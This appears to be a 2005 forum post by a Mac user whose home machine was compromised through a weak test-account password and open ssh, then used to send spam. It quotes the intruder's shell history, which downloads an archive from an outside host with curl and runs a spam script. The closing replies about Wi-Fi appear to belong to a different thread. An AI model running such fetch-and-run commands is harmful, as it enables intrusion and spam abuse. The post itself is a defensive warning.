Much to my horror, I awoke on the weekend to an e-mail from my service provider which started with:
"Recently we have had complaints of spam coming from your connection."
My wife had complained last week that the computer at home had seemed a bit slow. I rebooted it, and it seemed fine immediately afterwards.
Now I took immediate action, sent an email indicating it was unintentional and I'd take care of it immediately. I pulled the network cable and proceeded to see what had happened.
In a nutshell, about a year ago I'd played around with fast user switching. I'd created an account with the userid of "lisa" and a password of "lisa". Ok, not too swift, but it was convenient for a test. I'd forgotten about it. When I looked in the account's .bash_history file, I found stuff like:
...
curl -O haq.sytes.net/sex.zip
ls
unzip sex.zip
rm -rf sex.zip
cd sex
ls
pico users
chmod +x sendeb.pl
./sendeb.pl
passwd
...
So clearly the person had logged into this not secure, yet still non-admin account and was running scripts. Likely they had gotten in via ssh, since I had the port open so I could do remote maintenance from my office if the need arose.
Checking the /var/log/mail.log (one of the archives), I found that on October 30th it had sent out over 500,000 eBay spam messages.
Just a warning .... make sure you use secure/difficult to guess passwords. ie: Don't use "guest, guest", or name name userid/password pairs.
Mac OS X is very secure, but not if you leave the doors unlocked and the keys in the ignition.
#2: it would really help to at least give a few details of the "funny goings-on" if you're going to take the time to post a question.
#3: the best you should do is to MAC filter, require WPA encryption, and don't broadcast your SSID. the former and latter are no better than hook and eye locks on a door, though, to a determined guest. you can do all kinds of other fancy tricks like having a captive OpenBSD authpf portal, but that's way beyond necessary for a home setup.
posted by kcm at 11:13 AM on December 22, 2005